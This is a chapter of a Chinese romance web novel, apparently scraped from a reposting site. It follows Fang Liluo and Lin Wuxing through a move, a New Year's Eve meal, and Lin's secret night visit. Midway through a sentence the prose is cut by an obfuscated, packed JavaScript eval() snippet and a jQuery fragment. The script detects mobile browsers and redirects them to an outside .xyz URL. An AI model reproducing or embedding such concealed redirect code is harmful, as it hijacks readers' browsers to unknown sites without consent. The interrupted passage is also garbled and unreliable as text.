74. 林贼归来

作品:《我真的没有暗杀师兄啊!

    说来也神奇,方里萝一早醒来就觉得浑身的力气回来了,能吃能喝,能跑能跳。风吹雪说她体质强于常人,烧鱼一番则说她和自己一样命硬。


    林雾行吃完早饭就出门了,回来时怀里抱着两个崭新的红木小箱。


    方里萝打开一看,一箱是花花绿绿的头巾,另一箱是花花绿绿的发带。


    这要戴到猴年马月。


    鉴于林雾行说话算话,一片心意,方里萝没有数落他,她从打开箱子的那一刻就很高兴地欢呼,亲了亲他表示谢意,夸赞他的眼光独到,挑选的都是她喜欢的。


    林雾行心满意足,笑道:“其实小雁山那里也有几条头巾和发带,但我走得太匆忙,没来得及带过来。”


    方里萝试探地问道:“那你正好回去继续找解咒的法子,找到之后顺便带过来,好不好?”


    林雾行:“……你简直是……”


    “铁石心肠。”方里萝抢过话头。


    “哼。”林雾行在房间里转来转去,摆弄着屋里的花瓶,梅花都被他揪秃了,就是不去看她。


    “大小雁山上只有数不清的古籍,我找人过去查就行,东山宗那边也在想办法,我就专心留下来找黑帷郎。”


    方里萝看着他那副随意松散的样子,好像身中噬心咒的人不是他。


    该说的话她已经说过很多次了,再多说就招人烦了。方里萝想了想,觉得他的话不无道理,该做的事都做了,该劝的也劝了,剩下的就听天由命吧。


    半晌没听见她说话,林雾行悄悄瞄了她一眼,见她正小口小口嘬热水,便知她没生气,换了个话题继续说:“快过年了,我早上出去的时候租了个院子,咱们搬出去住吧,总住在将军府也不方便。”


    方里萝的嘴被烫了一下。


    大早上的,她接连两次被林雾行震惊到。让他离开阳远城的时候,他婆婆妈妈,磨磨唧唧不肯走,现在他租院子的速度倒是快得让人措手不及。


    “你过年不回家?”方里萝问道。


    林雾行转过身:“你跟我回去?”


    林渡已经被夜闯闺房的林雾行气得连夜回东山了,估计以后都没脸再来阳远城了。方里萝想想他那张臭脸,摇了摇头:“我和烧鱼一番一起过年,正好你租的院子给我俩住。”


    林雾行满目震惊:“你怎么能这样对我?”


    方里萝感觉很好笑:“我又怎么你了?”


    “难受。”林雾行把自己撂倒在床上。


    方里萝去喊烧鱼一番收拾东西,现在就搬。


    林雾行庆幸自己找了一个布局甚好的民居大院,可以容纳多人居住且互不打扰。房子坐北朝南,进了大门就是一处宽敞的小院和两层的小阁楼,一楼用来待客,二楼可以居住,厨房在东面另起一间,院子西面有处小菜地和一个葡萄架凉亭,夏天的时候遮阳品茶别提多开心了。


    这部分算是主院,跨过院子东西两面的月亮门,还有两个小侧院。两个侧院布局一样,各有三间主房、一间烧水用的小厨房、一间小茅厕和两株梅花树。


    林雾行雇了六个短工,两人做饭,两人洗衣,两人打扫卫生。短工们住在小阁楼的二楼,他和方里萝住在东院,自然又顺利的让烧鱼一番住在西院。至于风起和叶落,两人搬到了另一处专供东山宗弟子居住的大宅子。风起自然是无所谓,叶落气得两顿没吃饭。


    不知为何,接下来的几天黑帷郎和人傀异常安分,丢神庙里依旧破败空荡,整个鄞州仿佛回到了从前平淡安宁的生活。


    等到大年三十那天,方里萝还是让林雾行回东山了,短工们也都各自回家过年。风吹雪动身回鬼虫谷前犹豫再三,还是想让烧鱼一番和她一起回家,谁知烧鱼一番一整天都躲着她,风吹雪没有找到开口的机会,只好自己回鬼虫谷了,这下秦立又不开心了。


    热闹的大院里忽然只剩下方里萝和烧鱼一番。


    两人赶在商铺关门前打了一壶酒。虽然她们都属于做饭难吃且自知的人,但都带着满腔热血和积极乐观的心态窝在厨房里。


    她们忙着剁馅和面,包了两盘形状千奇百怪的饺子。方里萝炒了一盘还算拿手的青椒鸡蛋。烧鱼一番准备大展身手烧一条鲤鱼,结果不出意料的粘锅了,最后她做了一道有手就会的清蒸鲈鱼。再配上白天买回来的熟食和甜糕,两个人吃了一顿有滋有味,幸幸福福的年夜饭。


    刚吃完不久,外面响起了热闹的烟花爆竹声。方里萝和烧鱼一番披着两件一模一样的红斗篷,拎着那壶酒跑到挂满彩灯的大街上,站在系着红绸带的石拱桥上看烟花。


    人们喜聚一堂庆祝过年的好日子,沉浸在热闹祥和的节日气氛里。


    不管明天是不是狂风骤雨,今日一定是春暖花开。


    方里萝有伤在身需要忌酒,那壶酒几乎全被烧鱼一番喝了,放一个烟花她喝一口,最后成功把自己喝晕了,在大街上撒酒疯,随便抓个人就说人家欠她钱,方里萝半拉半背才把她拖回了家。


    刚进院门,晕乎乎的烧鱼一番就揽着方里萝的肩膀说:“小方妹妹,我怎么那么稀罕你呢?你别跟姓林的那小子过了,跟着我,我算命养你!”


    方里萝笑着点头:“好好好。”


    烧鱼一番:“明天一早咱俩就走啊。”


    方里萝:“这么快呢。”


    烧鱼一番嗔她一眼:“当然了,等姓林的来了就走不成了。”


    方里萝低着头笑,把她拖进西院的卧房里,再去小厨房烧了热水,回来的时候烧鱼一番已经睡着了。


    方里萝把她摇醒,喂了她点温水,给她擦了擦脸。看着锅里的热水还剩了不少,足够她沐浴,她便去东院里拿换洗的中衣。


    刚把油灯放在衣橱旁边的桌子上,身后突然一股蛮力拽住了她的右胳膊,把她翻转过来按在了衣橱门上,一只手撑在她的后背和门板中间,以免挤压到她左肩的伤口,另一只手捧着她的脸颊亲她。


    方里萝何等敏锐,早知屋里多了一个人的气息,只装作没事看看究竟是哪个小贼那么大胆,如今她的脸感受到了对方冰冰凉的手,这么凉的体温,除了林贼还能是谁?


    方里萝弓起右腿就要撞他,却被他一把捞起右腿挂在腰间。


    这下方里萝只剩左腿撑地了,慌得用左手捶打他。林雾行闷笑了两声,这才放开她,拉着她坐到旁边的长椅上,从怀里拿出来一小包东西,打开是几块梅花糕。


    “给你带的,还热着呢,现在吃吗?”


    方里萝其实不饿,但不想辜负他记挂着她的心意,便拿起一块梅花糕,掰成两半:“我尝尝味儿。”


    林雾行笑道:“好,我去倒点水。”


    方里萝咬了一口,外面是糯米和磨碎的梅花做成的面皮,软糯香甜,内里是松子、芝麻、红糖和梅


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297604|176037||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    花混成的馅料,甜而不腻,带着梅花的芬芳清香。


    她爱吃甜食,爱吃糯米做成的东西,这款梅花糕十分契合她的口味。林雾行端着水杯回来的时候,她已经在吃第二个了。


    “太好吃了。林雾行,早知道你有这么好吃的东西,我就让你早点回来了。”


    林雾行很是开心,把水杯递给她:“慢点吃,别噎着。”


    方里萝接连吃了三块,瞧见还剩三块,便停下了,道:“留着给烧鱼一番吃,她吃馅儿,我吃皮。”


    林雾行却道:“我不想给她吃,我一天不在,她就要偷偷把你带走。”


    方里萝惊讶道:“你全听见了?”


    林雾行“嗯”了一声,说道:“我吃过晚饭就来了。放心,我爹娘不知道,他们以为我回房睡觉了。”


    方里萝觉得他很天真:“明天早上不就发现了。”


    林雾行心里早有打算:“明早我赶回去,吃完早饭再光明正大的出门,就说我去大雁山了。”


    方里萝自言自语:“这么折腾图什么。”


    林雾行坦然道:“我要照顾你呀,你胳膊受伤了,干什么都不方便。”


    方里萝才不相信他的鬼话,有风吹雪这样的神医在,加上她自身体质很好,伤口正在愈合,除了沐浴的时候需要小心点别沾水,其他时候完全可以照顾好自己。


    “你就是起了贼心。”方里萝瞥了一眼卧房紧关的窗户,回来时堂屋的门也锁得好好的,他只能是从对面西厢房的窗户翻进来的,是货真价实的贼。


    林雾行大喊冤枉:“我这些天可都老老实实的,啥也没干。”


    这倒是真的,他担心碰到她的伤口,在两人中间放了一个长枕头,每天除了嘴上不老实,手脚都很规矩。


    方里萝不再说话了。


    林雾行去拉她的手,歪着头看着她笑:“真好看,还是她们给你梳的头吗?”


    方里萝点点头,她连辫子都编不好,自然不会是她梳的。在她胳膊受伤的日子里,一直都是烧鱼一番和风吹雪帮她梳头,两个人像比赛一样,每天变着花样往她头上招呼,还要想办法把林雾行给她买的那些发带用上。


    今天烧鱼一番突发奇想,分出来一部分头发和发带一起编成小辫子,再和剩余的头发一起盘起来,额边留了点碎发。她的脸型流畅圆润,很适合把头发全都绾起来,露出白皙修长的脖颈,再配上一副红玛瑙耳坠,整个人看起来隽秀大气。


    林雾行一直看着她,看得她有些不好意思,起身去衣橱里拿换洗的中衣。


    “水快凉了,我要沐浴了。”


    林雾行让她在房里坐着,自己去西院的小厨房里拎了两桶热水过来,试好了浴桶里的水温再让她去洗。


    隔着西厢房的门帘,林雾行在堂屋里问:“小心伤口,要不要我帮你?真心的。”


    “不要。”方里萝没好气地说道。每次都问,哪次让他帮了,他厚着脸皮还问。


    刚抹上茉莉花调配的胰子,林雾行又在卧房里喊:“方里,我那件新买的丝绸中衣放哪儿了?柜子里没有。”


    方里萝想了想,回道:“好像在床上,晒干了还没叠。”


    “喔,找到了。”


    两人各自沐浴,一时无话。不多时,林雾行从小厨房里洗完出来,正好看见方里萝拎着一盏小油灯,急忙上前拉住她:“去哪儿?”